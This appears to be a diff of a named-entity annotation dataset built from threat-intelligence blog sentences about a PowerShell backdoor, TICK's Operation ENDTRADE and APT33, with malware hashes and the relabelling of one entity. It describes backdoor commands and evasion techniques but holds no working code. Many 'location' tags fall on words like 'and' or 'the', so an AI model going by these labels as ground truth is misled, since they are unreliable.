-{"id":9773,"text":"The .res file can be decoded by replacing “00” with empty string, then converting from hex to ASCII, then reversing the string.","entities":[{"id":29780,"label":"location","start_offset":14,"end_offset":17}],"relations":[],"Comments":[]}
 {"id":9774,"text":"The figure below is the decoded .res file from Figure 9.","entities":[],"relations":[],"Comments":[]}
 {"id":9775,"text":" Figure 10.","entities":[],"relations":[],"Comments":[]}
 {"id":9776,"text":"Decoded .res file","entities":[],"relations":[],"Comments":[]}
 {"id":9777,"text":"The backdoor supports the following commands:  $upload - upload a file to file hosting service $dispos - remove persistence $halt - exit $download - download file from a hosting service No prefix - execute command via Invoke Expression (IEX), a PowerShell command that runs commands or expressions on the local computer  Based on our analysis, we can confirm that the targets were Turkish government organizations related to the finance and energy sectors.","entities":[{"id":29783,"label":"attack-pattern","start_offset":245,"end_offset":255},{"id":29784,"label":"location","start_offset":347,"end_offset":350},{"id":29786,"label":"location","start_offset":437,"end_offset":440},{"id":29787,"label":"location","start_offset":441,"end_offset":447}],"relations":[],"Comments":[]}
 {"id":9778,"text":"This is yet another similarity with previous MuddyWater campaigns, which were known to have targeted multiple Turkish government entities.","entities":[],"relations":[],"Comments":[]}
-{"id":9779,"text":"If the group is responsible for this new backdoor, it shows how they are improving and experimenting with new tools.","entities":[{"id":29790,"label":"location","start_offset":69,"end_offset":72},{"id":29791,"label":"location","start_offset":83,"end_offset":86}],"relations":[],"Comments":[]}
-{"id":9780,"text":"Solutions and Recommendations","entities":[{"id":29792,"label":"location","start_offset":10,"end_offset":13}],"relations":[],"Comments":[]}
 {"id":9781,"text":"The main delivery method of this type of backdoor is spear phishing emails or spam that uses social engineering to manipulate targets into enabling malicious documents.","entities":[{"id":29793,"label":"location","start_offset":33,"end_offset":37},{"id":29794,"label":"attack-pattern","start_offset":53,"end_offset":67}],"relations":[],"Comments":[]}
 {"id":9782,"text":"It is important that employers and employees across all organizations and enterprises be able to identify phishing attacks and distinguish legitimate emails from malicious ones.","entities":[{"id":29795,"label":"location","start_offset":31,"end_offset":34},{"id":29796,"label":"location","start_offset":70,"end_offset":73},{"id":29797,"label":"attack-pattern","start_offset":106,"end_offset":114},{"id":29798,"label":"location","start_offset":123,"end_offset":126}],"relations":[],"Comments":[]}
-{"id":9783,"text":"Awareness of these threats and the tactics they use is an effective first step.","entities":[{"id":29799,"label":"location","start_offset":27,"end_offset":30}],"relations":[],"Comments":[]}
-{"id":9784,"text":"Telltale signs of social engineering include “too-good-to-be-true” offers and messages that lack context.","entities":[{"id":29801,"label":"location","start_offset":50,"end_offset":54},{"id":29802,"label":"location","start_offset":61,"end_offset":65},{"id":29803,"label":"location","start_offset":74,"end_offset":77},{"id":29804,"label":"location","start_offset":92,"end_offset":96}],"relations":[],"Comments":[]}
 {"id":9785,"text":"In general, users should always practice caution when it comes to email.","entities":[],"relations":[],"Comments":[]}
-{"id":9786,"text":"This includes avoiding clicking on links or downloading any documents unless certain that these are legitimate.","entities":[{"id":29805,"label":"location","start_offset":96,"end_offset":99}],"relations":[],"Comments":[]}
 {"id":9787,"text":"Apart from knowledge and awareness of phishing and social engineering, it is also important to be prepared with effective and layered security solutions.","entities":[{"id":29806,"label":"location","start_offset":21,"end_offset":24},{"id":29807,"label":"attack-pattern","start_offset":38,"end_offset":46},{"id":29808,"label":"location","start_offset":47,"end_offset":50},{"id":29809,"label":"location","start_offset":122,"end_offset":125},{"id":29810,"label":"location","start_offset":134,"end_offset":142}],"relations":[],"Comments":[]}
-{"id":9788,"text":"Trend Micro™ Deep Discovery™ provides detection, in-depth analysis, and proactive response to today’s stealthy malware, and targeted attacks in real time.","entities":[{"id":29812,"label":"location","start_offset":68,"end_offset":71},{"id":29814,"label":"location","start_offset":120,"end_offset":123},{"id":29815,"label":"location","start_offset":144,"end_offset":148},{"id":29816,"label":"location","start_offset":149,"end_offset":153}],"relations":[],"Comments":[]}
-{"id":9789,"text":"It provides a comprehensive defense tailored to protect organizations against targeted attacks and advanced threats through specialized engines, custom sandboxing, and seamless correlation across the entire attack lifecycle, allowing it to detect threats even without any engine or pattern update.","entities":[{"id":29817,"label":"location","start_offset":95,"end_offset":98},{"id":29818,"label":"location","start_offset":164,"end_offset":167}],"relations":[],"Comments":[]}
 {"id":9790,"text":"Trend Micro™ Email Security is a no-maintenance cloud solution that delivers continuously updated protection to stop spam, malware, spear phishing, ransomware, and advanced targeted attacks before they reach the network.","entities":[{"id":29820,"label":"location","start_offset":48,"end_offset":53},{"id":29821,"label":"location","start_offset":98,"end_offset":108},{"id":29822,"label":"location","start_offset":112,"end_offset":116},{"id":29823,"label":"attack-pattern","start_offset":132,"end_offset":146},{"id":29824,"label":"location","start_offset":160,"end_offset":163}],"relations":[],"Comments":[]}
-{"id":9791,"text":"Trend Micro™ Email Inspector and InterScan™ Web Security prevent malware from ever reaching end users.","entities":[{"id":29826,"label":"location","start_offset":29,"end_offset":32},{"id":29828,"label":"location","start_offset":78,"end_offset":82}],"relations":[],"Comments":[]}
-{"id":9792,"text":"At the endpoint level, Trend Micro™ Smart Protection Suites deliver several capabilities that minimize the impact of these attacks.","entities":[{"id":29830,"label":"location","start_offset":107,"end_offset":113}],"relations":[],"Comments":[]}
-{"id":9793,"text":"These solutions are powered by the Trend Micro XGen™ security, which provides a cross-generational blend of threat defense techniques against a full range of threats for data centers, cloud environments, networks, and endpoints.","entities":[{"id":29831,"label":"location","start_offset":16,"end_offset":19},{"id":29833,"label":"location","start_offset":53,"end_offset":61},{"id":29834,"label":"location","start_offset":80,"end_offset":85},{"id":29835,"label":"location","start_offset":149,"end_offset":154},{"id":29836,"label":"location","start_offset":184,"end_offset":189},{"id":29837,"label":"location","start_offset":214,"end_offset":217}],"relations":[],"Comments":[]}
-{"id":9794,"text":"It features high-fidelity machine learning to secure the gateway and endpoint data and applications, and protects physical, virtual, and cloud workloads.","entities":[{"id":29838,"label":"location","start_offset":17,"end_offset":25},{"id":29839,"label":"location","start_offset":57,"end_offset":64},{"id":29840,"label":"location","start_offset":65,"end_offset":68},{"id":29841,"label":"location","start_offset":83,"end_offset":86},{"id":29842,"label":"location","start_offset":101,"end_offset":104},{"id":29843,"label":"location","start_offset":133,"end_offset":136},{"id":29844,"label":"location","start_offset":137,"end_offset":142}],"relations":[],"Comments":[]}
 {"id":9795,"text":"Indicators of Compromise  SHA256 Type Detection Name 41ee0ab77b474b0c84a1c25591029533f058e4454d9f83ba30159cc6309c65d1","entities":[{"id":29845,"label":"location","start_offset":33,"end_offset":37},{"id":29846,"label":"SHA2","start_offset":53,"end_offset":117}],"relations":[],"Comments":[]}
 {"id":9796,"text":"Delivery documents W2KM_POWRUN.A 43080479eb1b00ba80c34272c5595e6ebdc6b0ffabcdc2c40ea2af49fcc43db4 Dropped DLL file Backdoor.Win32.POWRUN.AA 4f509354d8b3152a40c64ce61f7594d592c1256ad6c0829760b8dbdcb10579a2 Weaponized document BACKDOOR.WIN32.POWRUN.AA 685e91bc4e98c38bda7c8e57d5d40a11e7cf48bb43859bb799813f0146a14fcf Dropped DLL file BKDR_POWRUN.B 888a6f205ac9fc40d4898d8068b56b32f9692cb75f0dd813f96a7bd8426f8652 Dropped DLL file Trojan.W97M.POWRUN.AA 0acd10b14d38a4ac469819dfa9070106e7289ecf7360e248b7f10f868c2f373d Dropped DLL file BKDR_POWRUN.A          Tags  Cloud | Malware | APT & Targeted Attacks | Endpoints | Research","entities":[{"id":29847,"label":"SHA2","start_offset":33,"end_offset":97},{"id":29848,"label":"SHA2","start_offset":140,"end_offset":204},{"id":29849,"label":"SHA1","start_offset":250,"end_offset":314},{"id":29850,"label":"MD5","start_offset":346,"end_offset":410},{"id":29851,"label":"SHA2","start_offset":450,"end_offset":514},{"id":29852,"label":"location","start_offset":561,"end_offset":566},{"id":29853,"label":"location","start_offset":579,"end_offset":582}],"relations":[],"Comments":[]}
 {"id":9797,"text":"While we have been following cyberespionage group TICK (a.k.a. “BRONZE BUTLER” or “REDBALDKNIGHT”) since 2008, we noticed an unusual increase in malware development and deployments towards November 2018.","entities":[{"id":29855,"label":"threat-actor","start_offset":64,"end_offset":77},{"id":29856,"label":"threat-actor","start_offset":83,"end_offset":96},{"id":29858,"label":"location","start_offset":165,"end_offset":168}],"relations":[],"Comments":[]}
-{"id":9798,"text":"We already know that the group uses previously deployed malware and modified tools for obfuscation, but we also found TICK developing new malware families capable of detection evasion for initial intrusion, as well as escalation of administrative privileges for subsequent attacks and data collection.","entities":[{"id":29860,"label":"location","start_offset":64,"end_offset":67},{"id":29862,"label":"location","start_offset":281,"end_offset":284}],"relations":[],"Comments":[]}
-{"id":9799,"text":"We also found the group using legitimate email accounts and credentials for the delivery of the malware, zeroing in on industries with highly classified information: defense, aerospace, chemical, and satellite industries with head offices in Japan and subsidiaries in China.","entities":[{"id":29863,"label":"location","start_offset":56,"end_offset":59},{"id":29864,"label":"location","start_offset":196,"end_offset":199},{"id":29866,"label":"location","start_offset":248,"end_offset":251}],"relations":[],"Comments":[]}
 {"id":9800,"text":"Given their targets, we have named this campaign “Operation ENDTRADE,” and identified some of the findings in our research “Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data”.","entities":[{"id":29868,"label":"location","start_offset":0,"end_offset":5},{"id":29869,"label":"location","start_offset":40,"end_offset":48},{"id":29870,"label":"location","start_offset":71,"end_offset":74},{"id":29871,"label":"threat-actor","start_offset":144,"end_offset":148},{"id":29872,"label":"location","start_offset":198,"end_offset":201}],"relations":[],"Comments":[]}
-{"id":9801,"text":"This research paper was submitted and presented for the DeepINTEL Security Intelligence 2019 Conference on November 27, 2019 in Vienna, Austria.","entities":[{"id":29873,"label":"location","start_offset":34,"end_offset":37}],"relations":[],"Comments":[]}
-{"id":9802,"text":"Targeting and malware delivery Figure 1.","entities":[{"id":29878,"label":"location","start_offset":10,"end_offset":13}],"relations":[],"Comments":[]}
 {"id":9803,"text":"Operation ENDTRADE’s timeline","entities":[],"relations":[],"Comments":[]}
-{"id":9804,"text":"As part of their attacks in January 2019, TICK was conducting their research by compromising a Japanese economic research company and a public relations (PR) agency to steal email credentials and files as decoy documents.","entities":[{"id":29884,"label":"location","start_offset":130,"end_offset":133},{"id":29885,"label":"location","start_offset":136,"end_offset":142},{"id":29886,"label":"location","start_offset":158,"end_offset":164},{"id":29887,"label":"location","start_offset":192,"end_offset":195},{"id":29888,"label":"location","start_offset":205,"end_offset":210}],"relations":[],"Comments":[]}
 {"id":9805,"text":"These email addresses were used for spear phishing, prompting potential victim organizations to open the attachments with malware payloads.","entities":[{"id":29889,"label":"attack-pattern","start_offset":36,"end_offset":50}],"relations":[],"Comments":[]}
-{"id":9806,"text":"Meanwhile, the documents were embedded with malware, and sent to individuals and companies knowledgeable in Japanese or Chinese, and interested in the Chinese economy.","entities":[{"id":29890,"label":"location","start_offset":53,"end_offset":56},{"id":29891,"label":"location","start_offset":77,"end_offset":80},{"id":29894,"label":"location","start_offset":129,"end_offset":132},{"id":29896,"label":"location","start_offset":159,"end_offset":166}],"relations":[],"Comments":[]}
-{"id":9807,"text":"The emails had the following features:  They were sent from legitimate email accounts They were written as legitimate reports and prompted the users to open the attachments They contained subject topics related to “salary rate increase” or “job market,” or with special interests in the economic affairs of China such as the US-China trade mandates   Figure 2.","entities":[{"id":29897,"label":"location","start_offset":126,"end_offset":129},{"id":29898,"label":"location","start_offset":241,"end_offset":244},{"id":29899,"label":"location","start_offset":245,"end_offset":251},{"id":29903,"label":"location","start_offset":334,"end_offset":339}],"relations":[],"Comments":[]}
 {"id":9808,"text":"Spear phishing sample in fluent Japanese","entities":[{"id":29905,"label":"attack-pattern","start_offset":0,"end_offset":14},{"id":29906,"label":"location","start_offset":15,"end_offset":21}],"relations":[],"Comments":[]}
 {"id":9809,"text":"Based on the language that was hardcoded in the samples we found, TICK appeared to be targeting Japanese organizations with subsidiaries in China to serve as footholds for intrusion: TICK hard-coded two code pages 932 and 936, referring to Japanese and Simplified Chinese characters respectively.","entities":[{"id":29908,"label":"threat-actor","start_offset":66,"end_offset":70},{"id":29911,"label":"threat-actor","start_offset":183,"end_offset":187},{"id":29912,"label":"location","start_offset":188,"end_offset":192},{"id":29915,"label":"location","start_offset":218,"end_offset":221},{"id":29918,"label":"location","start_offset":249,"end_offset":252}],"relations":[],"Comments":[]}
-{"id":9810,"text":"Moreover, we found successful transfers of malicious executable files in the shared folder from a Chinese subsidiary with an infected desktop, and an employee in Japan that executed the said file.","entities":[{"id":29921,"label":"location","start_offset":143,"end_offset":146}],"relations":[],"Comments":[]}
 {"id":9811,"text":"Figure 3. Language code pages","entities":[],"relations":[],"Comments":[]}
-{"id":9812,"text":"While we found intrusions in a large number of companies in the abovementioned industries before May 2019, further analysis revealed that one of the main targets was the defense sector.","entities":[{"id":29924,"label":"location","start_offset":31,"end_offset":36}],"relations":[],"Comments":[]}
-{"id":9813,"text":"We found TICK trying to steal military-related documents from the victim network during an extended assistance for incident response in the region.","entities":[{"id":29928,"label":"location","start_offset":140,"end_offset":146}],"relations":[],"Comments":[]}
-{"id":9814,"text":"However, TICK seemed to shift their attention to the chemical industry by mid-May, which may indicate the group’s sponsor organization’s goal: To steal proprietary and classified information such as military data and advanced materials.","entities":[{"id":29930,"label":"location","start_offset":62,"end_offset":70},{"id":29932,"label":"location","start_offset":89,"end_offset":92},{"id":29933,"label":"location","start_offset":164,"end_offset":167},{"id":29934,"label":"location","start_offset":213,"end_offset":216}],"relations":[],"Comments":[]}
 {"id":9815,"text":"Malware Analysis","entities":[],"relations":[],"Comments":[]}
-{"id":9816,"text":"Our research lists some of the new and adjusted malware routines we found from Operation ENDTRADE, which we named based on their characteristic program database (PDB) strings.","entities":[{"id":29935,"label":"location","start_offset":35,"end_offset":38}],"relations":[],"Comments":[]}
-{"id":9817,"text":"For a complete list and analyses of the trojans, downloaders, and modified tools, you may access the research brief here.","entities":[{"id":29937,"label":"location","start_offset":15,"end_offset":19},{"id":29938,"label":"location","start_offset":20,"end_offset":23},{"id":29939,"label":"location","start_offset":62,"end_offset":65},{"id":29940,"label":"location","start_offset":86,"end_offset":89}],"relations":[],"Comments":[]}
 {"id":9818,"text":"Figure 4.","entities":[],"relations":[],"Comments":[]}
 {"id":9819,"text":"New downloaders and trojans DATPER While this backdoor routine has been associated with TICK’s weapons arsenal, the sample we derived from this campaign had two adjusted mutex objects — d0ftyzxcdrfdqwe and *&Hjgfc49gna-2-tjb — that retrieve information from the victim’s machine.","entities":[{"id":29942,"label":"location","start_offset":16,"end_offset":19},{"id":29943,"label":"malware","start_offset":28,"end_offset":34},{"id":29944,"label":"threat-actor","start_offset":88,"end_offset":92},{"id":29945,"label":"location","start_offset":103,"end_offset":110},{"id":29946,"label":"location","start_offset":116,"end_offset":122},{"id":29947,"label":"location","start_offset":144,"end_offset":152},{"id":29949,"label":"location","start_offset":202,"end_offset":205}],"relations":[],"Comments":[]}
-{"id":9820,"text":"The latest variant also has a new set of parameters that allow it to evade anti-virus (AV) product pattern detections, implying the ease by which the group can change their routines to suit their goals.","entities":[{"id":29950,"label":"location","start_offset":156,"end_offset":159}],"relations":[],"Comments":[]}
 {"id":9821,"text":"Figure 5.","entities":[],"relations":[],"Comments":[]}
 {"id":9822,"text":"DATPER’s new mutex with separate parameters down_new","entities":[{"id":29952,"label":"malware","start_offset":0,"end_offset":6},{"id":29953,"label":"malware","start_offset":44,"end_offset":52}],"relations":[],"Comments":[]}
 {"id":9823,"text":"This malware combines features of existing trojans in the malware family’s development, based on the adjustments TICK made as we analyzed their test versions.","entities":[{"id":29954,"label":"threat-actor","start_offset":113,"end_offset":117},{"id":29955,"label":"location","start_offset":118,"end_offset":122}],"relations":[],"Comments":[]}
-{"id":9824,"text":"It adds features (listed below) that can be found separately on previous iterations:  Adds Autorun to the registry.","entities":[{"id":29956,"label":"location","start_offset":37,"end_offset":40}],"relations":[],"Comments":[]}
 {"id":9825,"text":"Gets MAC address and volume information to send back to the C&C. Executes only during working hours (8:00AM-6:00PM, using kernel32.GetLocalTime API)","entities":[{"id":29957,"label":"location","start_offset":17,"end_offset":20},{"id":29958,"label":"location","start_offset":74,"end_offset":78},{"id":29959,"label":"TIME","start_offset":101,"end_offset":121}],"relations":[],"Comments":[]}
-{"id":9826,"text":"Uses AES encryption and base64 encoding method to encrypt the call back message.","entities":[{"id":29960,"label":"location","start_offset":20,"end_offset":23},{"id":29961,"label":"location","start_offset":62,"end_offset":66}],"relations":[],"Comments":[]}
 {"id":9827,"text":"Uses legitimate websites for the C&C server.","entities":[],"relations":[],"Comments":[]}
-{"id":9828,"text":"Detects anti-virus products and processes.","entities":[{"id":29962,"label":"location","start_offset":28,"end_offset":31}],"relations":[],"Comments":[]}
 {"id":9829,"text":"  Figure 6. Code showing down_new’s command function  Table 1.","entities":[{"id":29964,"label":"tools","start_offset":25,"end_offset":33}],"relations":[],"Comments":[]}
 {"id":9830,"text":"down_new","entities":[{"id":29966,"label":"tools","start_offset":0,"end_offset":8}],"relations":[],"Comments":[]}
-{"id":9831,"text":"command list","entities":[{"id":29967,"label":"location","start_offset":8,"end_offset":12}],"relations":[],"Comments":[]}
-{"id":9832,"text":"As we studied its processes to compare with the others, the call back information stood out: The HTTP post header is hard-coded in the sample, getting the infected machine’s specific information to single out the identity of the users.","entities":[{"id":29968,"label":"location","start_offset":60,"end_offset":64},{"id":29969,"label":"location","start_offset":102,"end_offset":106},{"id":29970,"label":"location","start_offset":117,"end_offset":121},{"id":29971,"label":"location","start_offset":135,"end_offset":141}],"relations":[],"Comments":[]}
-{"id":9833,"text":"As a cyber-espionage group with specific goals based on their sponsoring organization’s objectives, TICK only goes after specific targets and only uses other non-targeted individuals and enterprises as footholds to meet their purposes.","entities":[{"id":29973,"label":"location","start_offset":105,"end_offset":109},{"id":29974,"label":"location","start_offset":110,"end_offset":114},{"id":29975,"label":"location","start_offset":138,"end_offset":141},{"id":29976,"label":"location","start_offset":142,"end_offset":146},{"id":29977,"label":"location","start_offset":183,"end_offset":186}],"relations":[],"Comments":[]}
 {"id":9834,"text":"Figure 7.","entities":[],"relations":[],"Comments":[]}
 {"id":9835,"text":"down_new collects home phone data and URL path Avenger","entities":[{"id":29979,"label":"tools","start_offset":0,"end_offset":8},{"id":29980,"label":"location","start_offset":18,"end_offset":22},{"id":29981,"label":"location","start_offset":34,"end_offset":37}],"relations":[],"Comments":[]}
-{"id":9836,"text":"Our analysis found that Avenger has a number of variants and versions depending on their targets.","entities":[{"id":29984,"label":"location","start_offset":57,"end_offset":60}],"relations":[],"Comments":[]}
-{"id":9837,"text":"For example, some variants have autorun functions while others execute a sleep mode upon system infection.","entities":[{"id":29985,"label":"location","start_offset":79,"end_offset":83}],"relations":[],"Comments":[]}
-{"id":9838,"text":"We found that the downloader has three stages:  The first stage collects volume information, AV product, and OS bits version from the host, and sends it to the command and control (C&C) server to ensure that the host is the intended target.   Figure 8.","entities":[{"id":29988,"label":"location","start_offset":105,"end_offset":108},{"id":29989,"label":"location","start_offset":134,"end_offset":138},{"id":29990,"label":"location","start_offset":140,"end_offset":143},{"id":29991,"label":"location","start_offset":168,"end_offset":171},{"id":29992,"label":"location","start_offset":212,"end_offset":216},{"id":29993,"label":"location","start_offset":233,"end_offset":239}],"relations":[],"Comments":[]}
 {"id":9839,"text":"First stage: Information collection  2.","entities":[],"relations":[],"Comments":[]}
-{"id":9840,"text":"It then checks if the host matches their C&C server reference.","entities":[{"id":29997,"label":"location","start_offset":22,"end_offset":26}],"relations":[],"Comments":[]}
-{"id":9841,"text":"Avenger collects the victim’s detailed information from the system by browsing the folders, files, and domain information.","entities":[{"id":29999,"label":"location","start_offset":99,"end_offset":102}],"relations":[],"Comments":[]}
 {"id":9842,"text":" Figure 9.","entities":[],"relations":[],"Comments":[]}
-{"id":9843,"text":"Second stage: Collected information is written into a .txt file  3. If the host doesn’t exist, Avenger will download an image with an embedded malware hidden via steganography and extract a backdoor.  Figure 10.","entities":[{"id":30003,"label":"location","start_offset":75,"end_offset":79},{"id":30005,"label":"location","start_offset":103,"end_offset":107},{"id":30006,"label":"location","start_offset":176,"end_offset":179}],"relations":[],"Comments":[]}
 {"id":9844,"text":"Third stage: Sending the encrypted file to the C&C","entities":[],"relations":[],"Comments":[]}
 {"id":9845,"text":"While steganography is always used as part of TICK’s malware techniques, we found that the group used a more sophisticated steganography technique in this campaign.","entities":[{"id":30009,"label":"threat-actor","start_offset":46,"end_offset":50},{"id":30010,"label":"location","start_offset":155,"end_offset":163}],"relations":[],"Comments":[]}
 {"id":9846,"text":"Figure 11. Backdoor found in the steganography image  Figure 12.","entities":[],"relations":[],"Comments":[]}
 {"id":9847,"text":"Upgraded steganography technique","entities":[],"relations":[],"Comments":[]}
-{"id":9848,"text":"We found a newer version of Avenger with a clearer code structure and internal IP testing URL (aptly named Avenger2 in the PDB strings), though the rest of the components had minimal differences with the previous version.","entities":[{"id":30014,"label":"location","start_offset":56,"end_offset":65},{"id":30015,"label":"location","start_offset":66,"end_offset":69}],"relations":[],"Comments":[]}
 {"id":9849,"text":"Figure 13. Avenger2 with internal URL Casper Casper is a modified version of the Cobalt Strike backdoor, showing the team server SHA1 hash if the controller connects to the C&C.","entities":[],"relations":[],"Comments":[]}
-{"id":9850,"text":"If accessed by the client, Cobalt Strike confirms with the user if they recognize and match the SHA1 hash of a specific team server’s SSL certificate.","entities":[{"id":30021,"label":"location","start_offset":82,"end_offset":85},{"id":30022,"label":"location","start_offset":134,"end_offset":137}],"relations":[],"Comments":[]}
 {"id":9851,"text":"Figure 14.","entities":[],"relations":[],"Comments":[]}
 {"id":9852,"text":"Casper C&C with Cobalt Strike’s server fingerprint","entities":[],"relations":[],"Comments":[]}
 {"id":9853,"text":"The backdoor is usually hidden in the steganography photo and uses several techniques and tools to bypass AV detection.","entities":[{"id":30026,"label":"tools","start_offset":52,"end_offset":57},{"id":30027,"label":"location","start_offset":58,"end_offset":61},{"id":30028,"label":"location","start_offset":86,"end_offset":89}],"relations":[],"Comments":[]}
-{"id":9854,"text":"One technique involves launching itself with a legitimate Windows application with Dynamic Link Library (DLL) side loading techniques.","entities":[{"id":30030,"label":"location","start_offset":96,"end_offset":103}],"relations":[],"Comments":[]}
 {"id":9855,"text":"Another involves injecting the backdoor’s shellcode into svchost.exe.","entities":[],"relations":[],"Comments":[]}
 {"id":9856,"text":"Figure 15. Shellcode injected to svchost.exe","entities":[],"relations":[],"Comments":[]}
-{"id":9857,"text":"Publicly available RATs and modified tools","entities":[{"id":30032,"label":"location","start_offset":24,"end_offset":27}],"relations":[],"Comments":[]}
 {"id":9858,"text":"Included in all the malware routines, we also found TICK using publicly available remote access trojans (RATs) and ope n source tools, and either modified or imported the techniques into their malware.","entities":[{"id":30033,"label":"threat-actor","start_offset":52,"end_offset":56},{"id":30034,"label":"location","start_offset":82,"end_offset":88},{"id":30035,"label":"location","start_offset":111,"end_offset":114},{"id":30036,"label":"attack-pattern","start_offset":121,"end_offset":127},{"id":30037,"label":"location","start_offset":135,"end_offset":138}],"relations":[],"Comments":[]}
-{"id":9859,"text":"For instance, they cloned Lilith RAT from GitHub, studied and implemented its features into their customized backdoor under continued development.","entities":[{"id":30040,"label":"location","start_offset":58,"end_offset":61}],"relations":[],"Comments":[]}
 {"id":9860,"text":"The list of modified tools the group used include Mimikatz, RAR compression tool, port mapping tool, and screen capture.","entities":[{"id":30041,"label":"location","start_offset":4,"end_offset":8},{"id":30043,"label":"location","start_offset":76,"end_offset":80},{"id":30044,"label":"location","start_offset":95,"end_offset":99},{"id":30045,"label":"location","start_offset":101,"end_offset":104},{"id":30046,"label":"attack-pattern","start_offset":105,"end_offset":119}],"relations":[],"Comments":[]}
 {"id":9861,"text":" Figure 16. Modified screen capture tool  Figure 17.","entities":[{"id":30048,"label":"attack-pattern","start_offset":21,"end_offset":35},{"id":30049,"label":"location","start_offset":36,"end_offset":40}],"relations":[],"Comments":[]}
 {"id":9862,"text":"Modified Mimikatz Conclusion TICK is an organized and persistent cyber espionage group specialized in targeting high-value individuals and organizations, with the skills and resources needed to coordinate sophisticated attacks.","entities":[{"id":30051,"label":"malware","start_offset":9,"end_offset":17},{"id":30052,"label":"threat-actor","start_offset":29,"end_offset":33},{"id":30053,"label":"location","start_offset":50,"end_offset":53},{"id":30054,"label":"location","start_offset":135,"end_offset":138},{"id":30055,"label":"location","start_offset":170,"end_offset":173}],"relations":[],"Comments":[]}
-{"id":9863,"text":"This operation not only highlights the need for stronger monitoring systems foremost in countries’ critical infrastructures and multinational enterprises, but also firmer operational chains of command and redundant security policies established.","entities":[{"id":30056,"label":"location","start_offset":19,"end_offset":23},{"id":30057,"label":"location","start_offset":124,"end_offset":127},{"id":30058,"label":"location","start_offset":201,"end_offset":204},{"id":30059,"label":"location","start_offset":215,"end_offset":223}],"relations":[],"Comments":[]}
-{"id":9864,"text":"Persistent criminal groups will continue to target enterprises, and will look for security gaps to exploit to gain unauthorized entry.","entities":[{"id":30060,"label":"location","start_offset":27,"end_offset":31},{"id":30061,"label":"location","start_offset":44,"end_offset":50},{"id":30062,"label":"location","start_offset":64,"end_offset":67},{"id":30063,"label":"location","start_offset":68,"end_offset":72},{"id":30064,"label":"location","start_offset":82,"end_offset":90}],"relations":[],"Comments":[]}
-{"id":9865,"text":"Organizations with foreign subsidiaries can make it difficult to take control and implement security procedures and policies, making monitoring, isolating, investigating, incident response, and recovery more difficult.","entities":[{"id":30065,"label":"location","start_offset":40,"end_offset":43},{"id":30066,"label":"location","start_offset":78,"end_offset":81},{"id":30067,"label":"location","start_offset":92,"end_offset":100},{"id":30068,"label":"location","start_offset":112,"end_offset":115},{"id":30069,"label":"location","start_offset":190,"end_offset":193}],"relations":[],"Comments":[]}
-{"id":9866,"text":"To top it all, employees’ security awareness and consciousness will remain a significant part of making sure the security measures in place are maintained for regular operations.","entities":[{"id":30070,"label":"location","start_offset":26,"end_offset":34},{"id":30071,"label":"location","start_offset":45,"end_offset":48},{"id":30072,"label":"location","start_offset":63,"end_offset":67},{"id":30073,"label":"location","start_offset":113,"end_offset":121},{"id":30074,"label":"location","start_offset":140,"end_offset":143}],"relations":[],"Comments":[]}
-{"id":9867,"text":"Trend Micro™ Deep Discovery™ provides detection, in-depth analysis, and proactive response to today’s stealthy malware and targeted attacks in real-time.","entities":[{"id":30076,"label":"location","start_offset":68,"end_offset":71},{"id":30078,"label":"location","start_offset":119,"end_offset":122},{"id":30079,"label":"location","start_offset":143,"end_offset":147},{"id":30080,"label":"location","start_offset":148,"end_offset":152}],"relations":[],"Comments":[]}
 {"id":9868,"text":"It provides a comprehensive defense tailored to protect organizations against targeted attacks and advanced threats through specialized engines, custom sandboxing, and seamless correlation across the entire attack lifecycle, allowing it to detect threats like TICK’s attacks even without any engine or pattern update.","entities":[{"id":30081,"label":"location","start_offset":95,"end_offset":98},{"id":30082,"label":"location","start_offset":164,"end_offset":167},{"id":30083,"label":"threat-actor","start_offset":260,"end_offset":264}],"relations":[],"Comments":[]}
-{"id":9869,"text":"Trend Micro™ Deep Security™ provides virtual patching that protects endpoints from threats that abuses unpatched vulnerabilities.","entities":[{"id":30085,"label":"location","start_offset":18,"end_offset":26}],"relations":[],"Comments":[]}
-{"id":9870,"text":" Trend Micro’s suite of security solutions is powered by XGen™ security, which features high-fidelity machine learning to secure the gateway and endpoint data and applications.","entities":[{"id":30087,"label":"location","start_offset":24,"end_offset":32},{"id":30089,"label":"location","start_offset":63,"end_offset":71},{"id":30090,"label":"location","start_offset":93,"end_offset":101},{"id":30091,"label":"location","start_offset":133,"end_offset":140},{"id":30092,"label":"location","start_offset":141,"end_offset":144},{"id":30093,"label":"location","start_offset":159,"end_offset":162}],"relations":[],"Comments":[]}
-{"id":9871,"text":"XGen™ protects against today’s purpose-built threats that bypass traditional controls, exploit known, unknown, or undisclosed vulnerabilities, and either steal or encrypt personally-identifiable data.","entities":[{"id":30095,"label":"location","start_offset":143,"end_offset":146}],"relations":[],"Comments":[]}
 {"id":9872,"text":"For the full technical analyses of all the malware, techniques, tools, MITRE ATT&CK techniques and indicators of compromise (IoCs) we found in this campaign, download the research brief, “Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data”.           Tags  Malware | APT & Targeted Attacks | Endpoints | Research |","entities":[{"id":30096,"label":"location","start_offset":95,"end_offset":98},{"id":30097,"label":"location","start_offset":148,"end_offset":156},{"id":30098,"label":"threat-actor","start_offset":208,"end_offset":212},{"id":30099,"label":"location","start_offset":262,"end_offset":265},{"id":30100,"label":"location","start_offset":319,"end_offset":322}],"relations":[],"Comments":[]}
 {"id":9873,"text":"Network","entities":[],"relations":[],"Comments":[]}
-{"id":9874,"text":"This article is part of a research paper that dives into cyberattacks on the oil and gas industry.","entities":[{"id":30101,"label":"location","start_offset":77,"end_offset":80},{"id":30102,"label":"location","start_offset":81,"end_offset":84},{"id":30103,"label":"location","start_offset":85,"end_offset":88},{"id":30104,"label":"location","start_offset":89,"end_offset":97}],"relations":[],"Comments":[]}
-{"id":9875,"text":"It provides a more comprehensive look at APT33 and other critical threats.","entities":[{"id":30105,"label":"APT","start_offset":41,"end_offset":46},{"id":30106,"label":"location","start_offset":47,"end_offset":50}],"relations":[],"Comments":[]}
+{"id":9875,"text":"It provides a more comprehensive look at APT33 and other critical threats.","entities":[{"id":30105,"label":"threat-actor","start_offset":41,"end_offset":46},{"id":30106,"label":"location","start_offset":47,"end_offset":50}],"relations":[],"Comments":[]}
 {"id":9876,"text":"Read the full paper here.","entities":[],"relations":[],"Comments":[]}
 {"id":9877,"text":"This blog was originally published on November 13, 2019.","entities":[],"relations":[],"Comments":[]}
